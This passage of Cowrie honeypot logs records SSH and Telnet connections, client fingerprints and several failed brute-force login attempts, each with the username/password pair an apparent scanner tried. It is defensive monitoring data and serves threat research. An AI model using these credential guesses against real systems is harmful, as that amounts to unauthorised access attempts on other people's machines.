{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:22.536011Z","src_ip":"34.100.248.63","session":"5376519cc9ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:23.137955Z","src_ip":"103.172.78.219","session":"362fcc8a3e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.97117304801941,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:24.222404Z","src_ip":"172.81.62.90","session":"7adf6e04f4b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39460,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b72e1a28f1","protocol":"ssh","message":"New connection: 91.92.40.4:39460 (159.203.135.109:22) [session: 58b72e1a28f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:36.648776Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:36.910569Z","src_ip":"91.92.40.4","session":"58b72e1a28f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59922,"dst_ip":"159.203.135.109","dst_port":23,"session":"3059557938b2","protocol":"telnet","message":"New connection: 172.81.62.90:59922 (159.203.135.109:23) [session: 3059557938b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:37.567104Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53498,"dst_ip":"159.203.135.109","dst_port":23,"session":"d89362da5f21","protocol":"telnet","message":"New connection: 172.81.62.90:53498 (159.203.135.109:23) [session: d89362da5f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:42:37.869519Z"}
{"eventid":"cowrie.session.closed","duration":37.096057176589966,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:14.663039Z","src_ip":"172.81.62.90","session":"3059557938b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":57732,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fae722d9c78","protocol":"ssh","message":"New connection: 209.227.244.120:57732 (159.203.135.109:22) [session: 9fae722d9c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:14.879040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:14.883433Z","src_ip":"209.227.244.120","session":"9fae722d9c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:14.972084Z","src_ip":"209.227.244.120","session":"9fae722d9c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"homepages","password":"homepages","message":"login attempt [homepages/homepages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:15.358424Z","src_ip":"209.227.244.120","session":"9fae722d9c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:16.449275Z","src_ip":"209.227.244.120","session":"9fae722d9c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.05030274391174,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:43:23.919711Z","src_ip":"172.81.62.90","session":"d89362da5f21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":47658,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccfbdbaa4604","protocol":"ssh","message":"New connection: 34.100.248.63:47658 (10.17.0.5:22) [session: ccfbdbaa4604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:32.047605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:32.051170Z","src_ip":"34.100.248.63","session":"ccfbdbaa4604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:32.296233Z","src_ip":"34.100.248.63","session":"ccfbdbaa4604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pay2","password":"pay2","message":"login attempt [pay2/pay2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:33.288419Z","src_ip":"34.100.248.63","session":"ccfbdbaa4604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:34.554728Z","src_ip":"34.100.248.63","session":"ccfbdbaa4604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55350,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e448e0c190a","protocol":"ssh","message":"New connection: 103.27.238.120:55350 (159.203.135.109:22) [session: 5e448e0c190a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:36.339692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:36.343494Z","src_ip":"103.27.238.120","session":"5e448e0c190a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:36.611547Z","src_ip":"103.27.238.120","session":"5e448e0c190a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johnny30122007","message":"login attempt [root/johnny30122007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:37.417065Z","src_ip":"103.27.238.120","session":"5e448e0c190a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:38.687594Z","src_ip":"103.27.238.120","session":"5e448e0c190a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":60924,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef04665af522","protocol":"ssh","message":"New connection: 45.148.10.121:60924 (159.203.135.109:22) [session: ef04665af522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:39.820560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:39.824647Z","src_ip":"45.148.10.121","session":"ef04665af522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:39.918322Z","src_ip":"45.148.10.121","session":"ef04665af522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55804,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d0a4a778b30","protocol":"telnet","message":"New connection: 128.199.8.54:55804 (159.203.135.109:23) [session: 5d0a4a778b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:46.814843Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":52920,"dst_ip":"159.203.135.109","dst_port":22,"session":"1549a5b18731","protocol":"ssh","message":"New connection: 209.227.244.120:52920 (159.203.135.109:22) [session: 1549a5b18731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:47.222512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:47.225531Z","src_ip":"209.227.244.120","session":"1549a5b18731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:47.316586Z","src_ip":"209.227.244.120","session":"1549a5b18731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dst","password":"dst123","message":"login attempt [dst/dst123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:47.712101Z","src_ip":"209.227.244.120","session":"1549a5b18731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:44:48.805167Z","src_ip":"209.227.244.120","session":"1549a5b18731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56604,"dst_ip":"10.17.0.5","dst_port":22,"session":"4956a7a9b723","protocol":"ssh","message":"New connection: 103.153.68.219:56604 (10.17.0.5:22) [session: 4956a7a9b723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:12.439838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:12.445198Z","src_ip":"103.153.68.219","session":"4956a7a9b723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:12.700104Z","src_ip":"103.153.68.219","session":"4956a7a9b723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max2001","message":"login attempt [root/max2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:13.466187Z","src_ip":"103.153.68.219","session":"4956a7a9b723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:14.723239Z","src_ip":"103.153.68.219","session":"4956a7a9b723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50820,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c2c999b662e","protocol":"telnet","message":"New connection: 128.199.8.54:50820 (159.203.135.109:23) [session: 1c2c999b662e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:24.934941Z"}
{"eventid":"cowrie.session.closed","duration":43.330182790756226,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:30.144917Z","src_ip":"128.199.8.54","session":"5d0a4a778b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f641c84ffb90","protocol":"telnet","message":"New connection: 128.199.8.54:44672 (159.203.135.109:23) [session: f641c84ffb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:48.415018Z"}
{"eventid":"cowrie.session.closed","duration":0.005054950714111328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:48.419940Z","src_ip":"128.199.8.54","session":"f641c84ffb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c79a5f61689","protocol":"telnet","message":"New connection: 172.81.62.90:55856 (159.203.135.109:23) [session: 6c79a5f61689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:45:52.699377Z"}
{"eventid":"cowrie.session.closed","duration":42.581647872924805,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:07.516442Z","src_ip":"128.199.8.54","session":"1c2c999b662e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53334,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bd5b6523476","protocol":"telnet","message":"New connection: 172.81.62.90:53334 (159.203.135.109:23) [session: 4bd5b6523476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:15.118357Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":43824,"dst_ip":"10.17.0.5","dst_port":22,"session":"3412e28b2e4c","protocol":"ssh","message":"New connection: 37.233.85.71:43824 (10.17.0.5:22) [session: 3412e28b2e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:19.299111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:19.303452Z","src_ip":"37.233.85.71","session":"3412e28b2e4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:19.416610Z","src_ip":"37.233.85.71","session":"3412e28b2e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"golubeva","message":"login attempt [root/golubeva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:19.744848Z","src_ip":"37.233.85.71","session":"3412e28b2e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:20.855792Z","src_ip":"37.233.85.71","session":"3412e28b2e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":42732,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab5ce3359ab","protocol":"ssh","message":"New connection: 209.227.244.120:42732 (159.203.135.109:22) [session: 5ab5ce3359ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:21.559662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:46:21.563318Z","src_ip":"209.227.244.120","session":"5ab5ce3359ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group1